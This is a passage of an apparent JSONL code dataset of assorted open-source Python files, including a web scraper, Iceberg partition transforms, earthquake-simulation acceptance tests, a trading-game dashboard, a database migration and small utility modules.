Path(OUTPUT_FILE)\n check_df = pd.DataFrame(existing_links)\n check_df.drop_duplicates(subset=\"url\", keep=\"first\", inplace=True)\n check_df.to_json(output_file_path, orient=\"records\")\n break\n\n current_article_json = article.to_dict()\n existing_links.insert(0,current_article_json)\n\nclass ScrapeThread(Thread):\n def __init__(self, chunk, queue: Queue, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.chunk = chunk\n self.queue = queue\n\n def run(self):\n for i in self.chunk:\n try:\n print(f'Getting articles from list page {i}')\n url = f\"{BASE_URL}{i}\"\n req = Request(url , headers={'User-Agent': 'Mozilla/5.0'})\n webpage = urlopen(req).read()\n soup = BeautifulSoup(webpage, \"html5lib\")\n articles = soup.find_all('div', {'class': 'card'})\n for article in articles:\n dual_hrefs = article.find_all('a')\n link = dual_hrefs[1]['href']\n title = dual_hrefs[1].find('h2', {'class': 'ac-title'})\n if title is None or title.string is None or link is None or link is None:\n continue\n article_url = HarperReadingArticleUrl(url=link.strip(), title=str(title.string.strip()) or '')\n self.queue.put(article_url)\n except Exception as e:\n print(f'Something went wrong when scraping: {e}')\n print(\"------------------------------------------\")\n\n\nif __name__ == '__main__':\n queue = Queue()\n\n write_thread = WriteThread(queue)\n write_thread.start()\n\n worker_threads = []\n chunk_size = (N_ARTICLE_LINK_PAGES) // WORKER_THREADS\n for i in range(0, N_ARTICLE_LINK_PAGES+1, chunk_size):\n chunk = range(i,i+chunk_size)\n worker_threads.append(ScrapeThread(chunk, queue))\n\n for thread in worker_threads:\n thread.start()\n\n for thread in worker_threads:\n thread.join()\n\n # Signal end of jobs to write thread\n queue.put(None)\n\n print('Done.')\n write_thread.join()\n", "source": "the-browser/recommending-interesting-writing", "license": "MIT"} {"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nimport re\n\nfrom .bucket import Bucket\nfrom .dates import Dates\nfrom .identity import Identity\nfrom .timestamps import Timestamps\nfrom .truncate import Truncate\nfrom ..types import (TypeID)\n\n\n\"\"\"\n Factory methods for transforms.\n

\n Most users should create transforms using a\n {@link PartitionSpec.Builder#builderFor(Schema)} partition spec builder}.\n\n @see PartitionSpec#builderFor(Schema) The partition spec builder.\n\"\"\"\n\n\nclass Transforms(object):\n HAS_WIDTH = re.compile(\"(\\\\w+)\\\\[(\\\\d+)\\\\]\")\n\n def __init__(self):\n pass\n\n @staticmethod\n def from_string(type_var, transform):\n match = Transforms.HAS_WIDTH.match(transform)\n\n if match is not None:\n name = match.group(1)\n w = int(match.group(2))\n if name.lower() == \"truncate\":\n return Truncate.get(type_var, w)\n elif name.lower() == \"bucket\":\n return Bucket.get(type_var, w)\n\n if transform.lower() == \"identity\":\n return Identity.get(type_var)\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(transform.lower(), transform.lower())\n elif type_var.type_id == TypeID.DATE:\n return Dates(transform.lower(), transform.lower())\n\n raise RuntimeError(\"Unknown transform: %s\" % transform)\n\n @staticmethod\n def identity(type_var):\n return Identity.get(type_var)\n\n @staticmethod\n def year(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"year\", \"year\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"year\", \"year\")\n else:\n raise RuntimeError(\"Cannot partition type %s by year\" % type_var)\n\n @staticmethod\n def month(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"month\", \"month\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"month\", \"month\")\n else:\n raise RuntimeError(\"Cannot partition type %s by month\" % type_var)\n\n @staticmethod\n def day(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"day\", \"day\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"day\", \"day\")\n else:\n raise RuntimeError(\"Cannot partition type %s by day\" % type_var)\n\n @staticmethod\n def hour(type_var):\n if type_var.type_id == TypeID.DATE:\n return Dates(\"hour\", \"hour\")\n elif type_var.type_id == TypeID.TIMESTAMP:\n return Timestamps(\"hour\", \"hour\")\n else:\n raise RuntimeError(\"Cannot partition type %s by hour\" % type_var)\n\n @staticmethod\n def bucket(type_var, num_buckets):\n return Bucket.get(type_var, num_buckets)\n\n @staticmethod\n def truncate(type_var, width):\n return Truncate.get(type_var, width)\n", "source": "moulimukherjee/incubator-iceberg", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\n\"\"\"\nSouthern California Earthquake Center Broadband Platform\nCopyright 2010-2017 Southern California Earthquake Center\n\nThese are acceptance tests for the broadband platforms\n$Id: AcceptTests.py 1795 2017-02-09 16:23:34Z fsilva $\n\"\"\"\nfrom __future__ import division, print_function\n\n# Import Python modules\nimport os\nimport new\nimport sys\nimport shutil\nimport optparse\nimport unittest\n\n# Import Broadband modules\nimport bband_utils\nimport seqnum\nimport cmp_bbp\nfrom install_cfg import InstallCfg\n\ndef find_tests(test, rerun):\n \"\"\"\n # This function searches for .xml files in the accept_inputs directory\n \"\"\"\n\n install = InstallCfg()\n resume = True\n\n accept_test_inputs = \"accept_inputs\"\n accept_test_refs = \"accept_refs\"\n\n input_dir = os.path.join(install.A_TEST_REF_DIR, accept_test_inputs)\n if not os.path.exists(input_dir):\n # These are expected to be in the dist\n print(\"Acceptance test inputs dir %s does not exist, aborting\" %\n (input_dir))\n sys.exit()\n\n # Create list of test XML files\n files = os.listdir(input_dir)\n wfext = \".xml\"\n\n # First we find all the tests\n test_files = []\n for testfile in files:\n if testfile.endswith(wfext):\n # Don't add SDSU tests on Mac OS X\n if sys.platform == 'darwin' and testfile.find(\"SDSU\") >= 0:\n if test is None or (test is not None and testfile.find(test) >= 0):\n print(\"*** Mac OS X detected: skipping test %s.\" %\n (testfile))\n continue\n if test is None:\n test_files.append(testfile)\n else:\n if testfile.find(test) >= 0:\n test_files.append(testfile)\n\n resume_file = os.path.join(install.A_OUT_LOG_DIR, \"resume.txt\")\n resume_list = \"\"\n if rerun:\n os.remove(resume_file)\n # Check for already completed tests if not rerunning\n if resume == True and rerun == False:\n if os.path.exists(resume_file):\n resume_fp = open(resume_file, 'r')\n resume_list = resume_fp.read().splitlines()\n completed_test_count = len(resume_list)\n print(\"==> Completed Tests : %d\" % (completed_test_count))\n resume_fp.close()\n if ((test is None) and\n (completed_test_count >= len(test_files))):\n print(\"All the acceptance tests have passed previously!\")\n proceed = raw_input(\"Would you like to re-run \"\n \"all the acceptance tests? (y/n)\")\n if str.lower(proceed) == 'y':\n os.remove(resume_file)\n resume_list = \"\"\n else:\n sys.exit(0)\n\n # Create unittest test case for each file\n for xml_file in test_files:\n\n # Skip test if we ran it already\n if xml_file in resume_list:\n print(\"==> Skipping %s\" % (xml_file))\n continue\n\n file_base = xml_file[0:xml_file.find(wfext)]\n # pieces = file_base.split('-')\n\n # Adjust tolerance depending on test mode\n tolerance = 0.03\n\n #This defines a method that we're going to add to the\n #BBPAcceptanceTests class. The keyword binding has to\n #be done b/c Python is storing pointers to 'file' and 'file_base'\n #so w/o the keywords, 'file' and 'file_base' in the function will\n #point to the final values\n def permutation_test(self, file_base=file_base, xml_file=xml_file):\n input_dir = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs)\n log_dir = os.path.join(self.install.A_OUT_LOG_DIR,\n \"acceptance_test_logs\")\n sim_id = int(seqnum.get_seq_num())\n self.file_base = file_base\n self.log_file = os.path.join(log_dir, \"%s.log\" % (self.file_base))\n self.input_file = os.path.join(input_dir, xml_file)\n cmd = (\"%s/run_bbp.py -x %s -s %d -l %s\" %\n (self.install.A_COMP_DIR,\n self.input_file, sim_id, self.log_file))\n rc = bband_utils.runprog(cmd, False)\n self.failIf(rc != 0, \"Acceptance test failed to execute\")\n ref_file_dir = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_refs,\n self.file_base)\n agree = True\n for ref_file in os.listdir(ref_file_dir):\n if os.path.isfile(os.path.join(ref_file_dir, ref_file)):\n test_file = os.path.join(self.install.A_OUT_DATA_DIR,\n str(sim_id),\n (\"%d.%s\" % (sim_id, ref_file)))\n a_ref_file = os.path.join(ref_file_dir, ref_file)\n compare_result = cmp_bbp.cmp_bbp(a_ref_file, test_file,\n tolerance=tolerance)\n errmsg = (\"Output file \"\n \"%s does not match reference file: %s\" %\n (test_file, a_ref_file))\n self.failIf(compare_result != 0, errmsg)\n if compare_result != 0:\n agree = False\n if agree == True:\n # Write success to the resume file\n resume_fp = open(os.path.join(install.A_OUT_LOG_DIR,\n \"resume.txt\"), 'a')\n resume_fp.write(\"%s\\n\" % xml_file)\n resume_fp.flush()\n resume_fp.close()\n sys.stdout.flush()\n sys.stderr.flush()\n\n # We create a method object which is an instance method for\n # BBPAcceptanceTests which executes the code in\n # testPermutation\n method = new.instancemethod(permutation_test,\n None, BBPAcceptanceTests)\n # We give the method a new name in BBPAcceptanceTests\n # which contains the xml file being run\n setattr(BBPAcceptanceTests, \"test_%s\" % file_base, method)\n\nclass BBPAcceptanceTests(unittest.TestCase):\n\n def setUp(self):\n self.install = InstallCfg()\n accept_test_inputs = \"accept_inputs\"\n src_path = \"\"\n self.resume = True\n run_dir = self.install.A_USER_DATA_DIR\n\n # Create run directory, in case it doesn't exist\n bband_utils.mkdirs([run_dir], print_cmd=False)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_3_sta.stl\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_3_sta.stl\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_eq_gp.src\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_eq_gp.src\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_eq_ucsb.src\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_eq_ucsb.src\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(run_dir, \"northridge_eq_song.src\")):\n src_path = os.path.join(self.install.A_TEST_REF_DIR,\n accept_test_inputs,\n \"northridge_eq_song.src\")\n shutil.copy2(src_path, run_dir)\n\n if not os.path.exists(os.path.join(self.install.A_OUT_LOG_DIR,\n \"acceptance_test_logs\")):\n bband_utils.mkdirs([os.path.join(self.install.A_OUT_LOG_DIR,\n \"acceptance_test_logs\")])\n\nif __name__ == '__main__':\n # Parse options\n parser = optparse.OptionParser()\n parser.add_option(\"-t\", \"--test\",\n dest=\"test\",\n help=\"Execute specific test\",\n metavar=\"TEST\")\n parser.add_option(\"-r\", \"--rerun\",\n action=\"store_true\",\n dest=\"rerun\",\n help=\"Rerun tests already completed\")\n\n (options, args) = parser.parse_args()\n\n if options.test is not None:\n test = options.test\n else:\n test = None\n if options.rerun is not None:\n rerun = True\n else:\n rerun = False\n\n find_tests(test, rerun)\n suite = unittest.TestLoader().loadTestsFromTestCase(BBPAcceptanceTests)\n print(\"==> Number of tests to run: %d\" % suite.countTestCases())\n unittest.TextTestRunner(verbosity=2).run(suite)\n", "source": "kevinmilner/bbp", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n\n# ------------------------------------------------------------------------------\n#\n# Copyright 2018-2019 Fetch.AI Limited\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# ------------------------------------------------------------------------------\n\n\n\"\"\"Module containing the controller dashboard and related classes.\"\"\"\n\nimport argparse\nimport json\nimport os\nfrom typing import Optional, Dict\n\nimport numpy as np\n\nfrom tac.gui.dashboards.base import start_visdom_server, Dashboard\nfrom tac.agents.controller.base.states import Game\nfrom tac.platform.game.stats import GameStats\n\nDEFAULT_ENV_NAME = \"tac_simulation_env_main\"\n\n\nclass ControllerDashboard(Dashboard):\n \"\"\"\n Class to manage a Visdom dashboard for the controller agent.\n\n It assumes that a Visdom server is running at the address and port provided in input\n (default: http://localhost:8097)\n \"\"\"\n\n def __init__(\n self,\n game_stats: Optional[GameStats] = None,\n visdom_addr: str = \"localhost\",\n visdom_port: int = 8097,\n env_name: Optional[str] = \"tac_controller\",\n ):\n \"\"\"Instantiate a ControllerDashboard.\"\"\"\n super().__init__(visdom_addr, visdom_port, env_name)\n self.game_stats = game_stats\n\n self.agent_pbk_to_name = {} # type: Dict[str, str]\n\n def update(self):\n \"\"\"Update the dashboard.\"\"\"\n if not self._is_running():\n raise Exception(\"Dashboard not running, update not allowed.\")\n\n self._update_registered_agents()\n if self.game_stats is not None:\n self._update_info()\n self._update_utility_params()\n self._update_current_holdings()\n self._update_initial_holdings()\n self._update_plot_scores()\n self._update_plot_balance_history()\n self._update_plot_price_history()\n self._update_plot_eq_vs_mean_price()\n self._update_plot_eq_vs_current_score()\n self._update_adjusted_score()\n\n @staticmethod\n def from_datadir(datadir: str, env_name: str) -> \"ControllerDashboard\":\n \"\"\"\n Return a ControllerDashboard from a data directory.\n\n :param datadir: the data directory\n :param env_name: the environment name\n :return: controller dashboard\n \"\"\"\n game_data_json_filepath = os.path.join(datadir, \"game.json\")\n print(\"Loading data from {}\".format(game_data_json_filepath))\n game_data = json.load(open(game_data_json_filepath))\n game = Game.from_dict(game_data)\n game_stats = GameStats(game)\n return ControllerDashboard(game_stats, env_name=env_name)\n\n def _update_info(self):\n window_name = \"configuration_details\"\n self.viz.properties(\n [\n {\n \"type\": \"number\",\n \"name\": \"# agents\",\n \"value\": self.game_stats.game.configuration.nb_agents,\n },\n {\n \"type\": \"number\",\n \"name\": \"# goods\",\n \"value\": self.game_stats.game.configuration.nb_goods,\n },\n {\n \"type\": \"number\",\n \"name\": \"tx fee\",\n \"value\": self.game_stats.game.configuration.tx_fee,\n },\n {\n \"type\": \"number\",\n \"name\": \"# transactions\",\n \"value\": len(self.game_stats.game.transactions),\n },\n ],\n env=self.env_name,\n win=window_name,\n opts=dict(title=\"Configuration\"),\n )\n\n def _update_registered_agents(self):\n window_name = \"registered_agents\"\n self.viz.properties(\n [\n {\"type\": \"string\", \"name\": \"{}\".format(agent_name), \"value\": \"\"}\n for agent_name in self.agent_pbk_to_name.values()\n ],\n env=self.env_name,\n win=window_name,\n opts=dict(title=\"Registered Agents\"),\n )\n\n def _update_utility_params(self):\n utility_params = self.game_stats.game.initialization.utility_params\n utility_params = np.asarray(utility_params)\n\n window_name = \"utility_params\"\n self.viz.heatmap(\n utility_params,\n env=self.env_name,\n win=window_name,\n opts=dict(title=\"Utility Parameters\", xlabel=\"Goods\", ylabel=\"Agents\"),\n )\n\n def _update_initial_holdings(self):\n initial_holdings = self.game_stats.holdings_history()[0]\n\n window_name = \"initial_holdings\"\n self.viz.heatmap(\n initial_holdings,\n env=self.env_name,\n win=window_name,\n opts=dict(\n title=\"Initial Holdings\", xlabel=\"Goods\", ylabel=\"Agents\", stacked=True,\n ),\n )\n\n def _update_current_holdings(self):\n initial_holdings = self.game_stats.holdings_history()[-1]\n\n window_name = \"final_holdings\"\n self.viz.heatmap(\n initial_holdings,\n env=self.env_name,\n win=window_name,\n opts=dict(\n title=\"Current Holdings\", xlabel=\"Goods\", ylabel=\"Agents\", stacked=True,\n ),\n )\n\n def _update_plot_scores(self):\n keys, score_history = self.game_stats.score_history()\n agent_names = [\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ]\n\n window_name = \"score_history\"\n self.viz.line(\n X=np.arange(score_history.shape[0]),\n Y=score_history,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=agent_names,\n title=\"Scores\",\n xlabel=\"Transactions\",\n ylabel=\"Score\",\n ),\n )\n\n def _update_plot_balance_history(self):\n keys, balance_history = self.game_stats.balance_history()\n agent_names = [\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ]\n\n window_name = \"balance_history\"\n self.viz.line(\n X=np.arange(balance_history.shape[0]),\n Y=balance_history,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=agent_names,\n title=\"Balance history\",\n xlabel=\"Transactions\",\n ylabel=\"Money\",\n ),\n )\n\n def _update_plot_price_history(self):\n price_history = self.game_stats.price_history()\n\n window_name = \"price_history\"\n self.viz.line(\n X=np.arange(price_history.shape[0]),\n Y=price_history,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=list(\n self.game_stats.game.configuration.good_pbk_to_name.values()\n ),\n title=\"Price history\",\n xlabel=\"Transactions\",\n ylabel=\"Price\",\n ),\n )\n\n def _update_plot_eq_vs_mean_price(self):\n good_names, eq_vs_mean_price = self.game_stats.eq_vs_mean_price()\n\n window_name = \"eq_vs_mean_price\"\n self.viz.bar(\n X=eq_vs_mean_price,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=[\"eq_price\", \"mean_price\"],\n title=\"Equilibrium vs Mean Prices\",\n xlabel=\"Goods\",\n ylabel=\"Price\",\n rownames=good_names,\n ),\n )\n\n def _update_plot_eq_vs_current_score(self):\n keys, eq_vs_current_score = self.game_stats.eq_vs_current_score()\n agent_names = [\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ]\n\n window_name = \"eq_vs_current_score\"\n self.viz.bar(\n X=eq_vs_current_score,\n env=self.env_name,\n win=window_name,\n opts=dict(\n legend=[\"eq_score\", \"current_score\"],\n title=\"Equilibrium vs Current Score\",\n xlabel=\"Agents\",\n ylabel=\"Score\",\n rownames=agent_names,\n ),\n )\n\n def _update_adjusted_score(self):\n keys, adjusted_score = self.game_stats.adjusted_score()\n\n window_name = \"adjusted_score\"\n self.viz.bar(\n X=adjusted_score,\n env=self.env_name,\n win=window_name,\n opts=dict(\n title=\"Adjusted Score\",\n xlabel=\"Agents\",\n ylabel=\"Score\",\n rownames=[\n self.game_stats.game.configuration.agent_pbk_to_name[agent_pbk]\n for agent_pbk in keys\n ],\n ),\n )\n\n def __enter__(self):\n \"\"\"Enter the dashboard.\"\"\"\n self.start()\n self.update()\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n \"\"\"Exit the dashboard.\"\"\"\n self.stop()\n\n\ndef parse_args():\n \"\"\"Parse the arguments.\"\"\"\n parser = argparse.ArgumentParser(\n \"dashboard\", description=\"Data Visualization for the simulation outcome\"\n )\n parser.add_argument(\n \"--datadir\",\n type=str,\n required=True,\n help=\"The path to the simulation data folder.\",\n )\n parser.add_argument(\n \"--env_name\",\n type=str,\n default=None,\n help=\"The name of the environment to create.\",\n )\n\n arguments = parser.parse_args()\n return arguments\n\n\nif __name__ == \"__main__\":\n\n arguments = parse_args()\n process = start_visdom_server()\n d = ControllerDashboard.from_datadir(arguments.datadir, arguments.env_name)\n\n d.start()\n d.update()\n while True:\n try:\n input()\n except KeyboardInterrupt:\n break\n finally:\n d.stop()\n process.terminate()\n", "source": "fetchai/agents-tac", "license": "Apache-2.0"} {"text": "\"\"\"empty message\n\nRevision ID: 35099fc974d2\nRevises: ae00e7974dca\nCreate Date: 2017-05-19 17:01:48.878196\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '35099fc974d2'\ndown_revision = 'ae00e7974dca'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.drop_column('node', 'wipe_root_disk_next_boot')\n op.drop_column('node', 'root_partition_size_sectors')\n op.drop_column('node', 'root_disk')\n\n\ndef downgrade():\n op.add_column('node', sa.Column('root_disk', sa.VARCHAR(length=80), autoincrement=False, nullable=False))\n op.add_column('node', sa.Column('root_partition_size_sectors', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('node', sa.Column('wipe_root_disk_next_boot', sa.BOOLEAN(), autoincrement=False, nullable=False))\n", "source": "nailgun/seedbox", "license": "Apache-2.0"} {"text": "__author__ = 'jeffrey.starr@ztoztechnologies.com'\n\nfrom .infer import infer\n", "source": "avishai-o/dateinfer", "license": "Apache-2.0"} {"text": "#coding:utf-8\nimport re\nimport math\n\nfrom docclass import Classifier\n\n\ndef test_infc_func():\n c = Classifier(getfeatures=None)\n c.infc(\"python\", \"good\")\n c.infc(\"python\", \"good\")\n c.infc(\"the\", \"bad\")\n c.infc(\"the\", \"good\")\n\n print c.fc\n\n\nif __name__ == \"__main__\":\n test_infc_func()\n", "source": "ubear/MachineLearn", "license": "MIT"} {"text": "from uncertainties import ufloat\nfrom utilities import min_value, max_value\n\ndef main():\n print 'Plate motion rate parallel to section'\n print plate_motion()\n\n print 'Shortening (including ductile) from bed-length'\n print bed_length_shortening()\n\n print 'Estimated total shortening accomodated by OOSTS'\n print oost_shortening()\n\n print 'Shortening accommodated by seaward branch of OOSTS'\n print seaward_shortening()\n\n print 'Percentage of OOST shortening'\n print total_oost_percentage()\n\n print 'Landward Percentage'\n print landward_percentage()\n\n print 'Seaward Percentage'\n print seaward_percentage()\n\ndef bed_length_balancing():\n \"\"\"Summed fault heaves from bed-length balancing.\"\"\"\n present_length = 32\n\n # 2km error from range in restored pin lines + 10% interpretation error\n restored_length = ufloat(82, 10)\n\n shortening = restored_length - present_length\n return shortening\n\ndef bed_length_shortening():\n \"\"\"Shortening estimate including volume loss.\"\"\"\n alpha = ufloat(0.35, 0.1)\n heaves = bed_length_balancing()\n return heaves * (1 + alpha)\n\ndef age():\n \"\"\"\n Age of the oldest in-sequence structures from Strasser, 2009.\n \n Returns:\n --------\n avg_age : A ufloat with an assumed 2 sigma uncertainty\n min_age : The \"hard\" minimum from Strasser, et al, 2009\n max_age : The \"hard\" maximum from Strasser, et al, 2009\n \"\"\"\n min_age = 1.95 # Ma\n max_age = 2.512 # Ma\n\n # Strasser perfers an older age within this range, so we model this as\n # 2.3 +/- 0.2, but provide mins and maxs\n avg_age = ufloat(2.3, 0.2) # Ma\n\n return avg_age, min_age, max_age\n\ndef plate_motion():\n \"\"\"\n Plate motion rate (forearc relative to oceanic plate) _parallel_ _to_\n _section_ (Not full plate vector!) based on elastic block modeling \n (Loveless&Meade, 2010).\n\n Returns:\n --------\n rate : A ufloat in mm/yr with a 2 sigma error\n \"\"\"\n # See /data/MyCode/VariousJunk/loveless_meade_block_model_slip_vector.py\n # for details of derivation... Uses block segment nearest study area instead\n # of derived euler pole.\n # I'm assuming that Loveless's reported errors are 2 sigma...\n section_parallel_rate = ufloat(42.9, 2.1)\n return section_parallel_rate\n\ndef total_convergence():\n \"\"\"\n Total shortening parallel to section from plate motion and ages.\n \n Returns:\n --------\n shortening : A ufloat representing the plate motion integrated over the \n age of deformation with a 2 sigma confidence interal.\n min_shortening : A \"hard\" minimum using the uncertainty in the plate \n motion and minimum constraints on the age.\n max_shortening : A \"hard\" maximum using the uncertainty in the plate \n motion and maximum constraints on the age.\n \"\"\"\n avg_age, min_age, max_age = age()\n rate = plate_motion()\n\n shortening = rate * avg_age\n\n min_shortening = min_value(min_age * rate)\n max_shortening = max_value(max_age * rate)\n return shortening, min_shortening, max_shortening\n\ndef oost_shortening():\n \"\"\"\n Shortening on the out-of-sequence thrust system based on integrated plate\n convergence minus the shortening predicted in the outer wedge from line\n balancing results.\n\n Returns:\n --------\n shortening : A ufloat with a 2 sigma error estimate\n \"\"\"\n total_shortening, min_total, max_total = total_convergence()\n return total_shortening - bed_length_shortening()\n\ndef seaward_shortening():\n \"\"\"Shortening accomodated on the seaward branch of the OOSTS based on \n comparing the total (`oost_shortening()`) shortening with the shortening\n predicted on the landward branch from forearc uplift. \n \n Returns:\n --------\n shortening : a ufloat with 2 sigma error in kilometers.\n \"\"\"\n from process_bootstrap_results import shortening_parallel_to_section\n landward_shortening = shortening_parallel_to_section() / 1000\n return oost_shortening() - landward_shortening\n\ndef total_oost_percentage():\n \"\"\"\n Percentage of shortening accommdated by out-of-sequence thrusting during\n the development of the present-day outer wedge.\n\n Returns:\n --------\n percentage : A ufloat with a 2 sigma error representing a unitless \n ratio (e.g. multiply by 100 to get percentage).\n \"\"\"\n total_shortening, min_total, max_total = total_convergence()\n return oost_shortening() / total_shortening\n\ndef seaward_percentage():\n \"\"\"\n Percentage of total plate convergence accomodated by the seaward branch of\n the OOSTS during its period of activity.\n\n Returns:\n --------\n percentage : A ufloat with a 2 sigma error representing a unitless \n ratio (e.g. multiply by 100 to get percentage).\n \"\"\"\n # Duration in myr from Strasser, 2009\n duration = 1.95 - 1.24 \n rate = plate_motion()\n total = duration * rate\n return seaward_shortening() / total\n\ndef landward_percentage():\n \"\"\"\n Maximum percentage of total plate convergence accomodated by the landward\n branch of the OOSTS during its period of activity.\n\n Returns:\n --------\n percentage : A ufloat with a 2 sigma error representing a unitless \n ratio (e.g. multiply by 100 to get percentage).\n \"\"\"\n from process_bootstrap_results import shortening_parallel_to_section\n landward_shortening = shortening_parallel_to_section() / 1000\n\n duration = ufloat(0.97, 0.07) - ufloat(0.25, 0.25)\n rate = plate_motion()\n total = duration * rate\n return landward_shortening / total\n\nif __name__ == '__main__':\n main()\n", "source": "joferkington/oost_paper_code", "license": "MIT"} {"text": "# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\nclass Partitioner(object):\n \"\"\"\n Base class for a partitioner\n \"\"\"\n def __init__(self, partitions):\n \"\"\"\n Initialize the partitioner\n\n Arguments:\n partitions: A list of available partitions (during startup)\n \"\"\"\n self.partitions = partitions\n\n def partition(self, key, partitions=None):\n \"\"\"\n Takes a string key and num_partitions as argument and returns\n a partition to be used for the message\n\n Arguments:\n key: the key to use for partitioning\n partitions: (optional) a list of partitions.\n \"\"\"\n raise NotImplementedError('partition function has to be implemented')\n", "source": "zhangjm12/monasca-common", "license": "Apache-2.0"} {"text": "'''Contains helper functions that can be used by any feature.'''\nfrom nltk_utils import tokenize\n\n\ndef get_search_query(\n spoken_text,\n patterns,\n search_terms,\n false_search_term_indicators=['like', 'love', 'want', 'ready']\n):\n '''\n General function that extracts a search query from spoken\n text given search terms to look out for.\n Some possible search terms include 'to', 'on', 'for', 'about'\n e.g. 'do a google search on Python.'\n search term = on\n query found = Python\n\n This function also ignores false search_term_indicators such\n as 'like to', 'love to', 'want to'\n e.g. 'I want to do a google search on Python'\n false search term = to\n false search term indicator = want\n actual search term = on\n query found = Python\n\n Thus the function will correctly ignore 'do a google search on Python'\n as a possible search query and will capture 'Python' as\n the right query.\n\n Other exmaples of use cases: 'Send an email to Alex'\n search term = to\n query found = Alex\n\n Arguments: spoken_text, feature_patterns,\n search_terms, false_search_term_indicators\n Return type: spoken_text (now stripped down to\n only the search query.)\n '''\n query_found = False\n query = \"\"\n # spoken_text from features is already in a tokenized form. If not, we\n # tokenize the text here.\n tokenized_text = spoken_text\n if isinstance(tokenized_text, str):\n tokenized_text = tokenize(spoken_text)\n has_search_term = any(\n search_term in tokenized_text for search_term in search_terms)\n while not query_found and has_search_term and tokenized_text != []:\n for search_term in search_terms:\n if search_term in tokenized_text:\n search_index = tokenized_text.index(search_term)\n # ignore cases with \"like to\", \"love to\" \"ready to\"\n if (tokenized_text[search_index-1] in\n false_search_term_indicators):\n phrase_after_false_term = tokenized_text[search_index+1:]\n tokenized_text = phrase_after_false_term\n break\n # get everything after the search term\n query = tokenized_text[search_index+1:]\n query_found = True\n break\n\n # In case none of the search terms are included in spoken_text.\n # This is just a fallback and is not expected to be used very often.\n if not query_found:\n tokenized_patterns = []\n for pattern in patterns:\n tokens = tokenize(pattern)\n tokenized_patterns.extend(tokens)\n query = [\n word for word in tokenized_text if word not in tokenized_patterns\n ]\n query = ' '.join(query)\n # Need to remove whitespace before and after the wanted query.\n # This if useful for doing database searches on the query.\n query = query.strip()\n return query\n", "source": "Omarzintan/bumblebee-ai", "license": "MIT"} {"text": "##incompleted yt tuitorial\r\n\r\n\r\n##import discord\r\n##import json\r\n##import asyncio\r\n##import youtube_dl\r\n##import shell\r\n##import os\r\n##from discord.utils import get\r\n##from discord.ext import commands\r\n##\r\n##@client.command(pass_context=True)\r\n##async def join(ctx):\r\n## global voice\r\n## channel=ctx.message.author.voice.channel\r\n## voice=get(client.voice_clients,guild=ctx.guild)\r\n##\r\n## if voice and voice.is_connected():\r\n## await voice.move_to(channel)\r\n## else:\r\n## voice=await chqannel.connect()\r\n## await ctx.send(f\"Joined {channel}\")\r\n##\r\n##@client.command(pass_context=True)\r\n##async def leave(ctx):\r\n## channel=ctx.message.author.voice.channel\r\n## voice=get(client.voice_clients,guild=ctx.guild)\r\n##\r\n## if voice and voice.is_connected():\r\n## await voice.disconnect()\r\n## await ctx.send(f\"Left {channel}\")\r\n##\r\n##@client.command(pass_context=True,aliases=[\"p\"])\r\n##async def play(ctx,url:str):\r\n## def check_queue():\r\n## 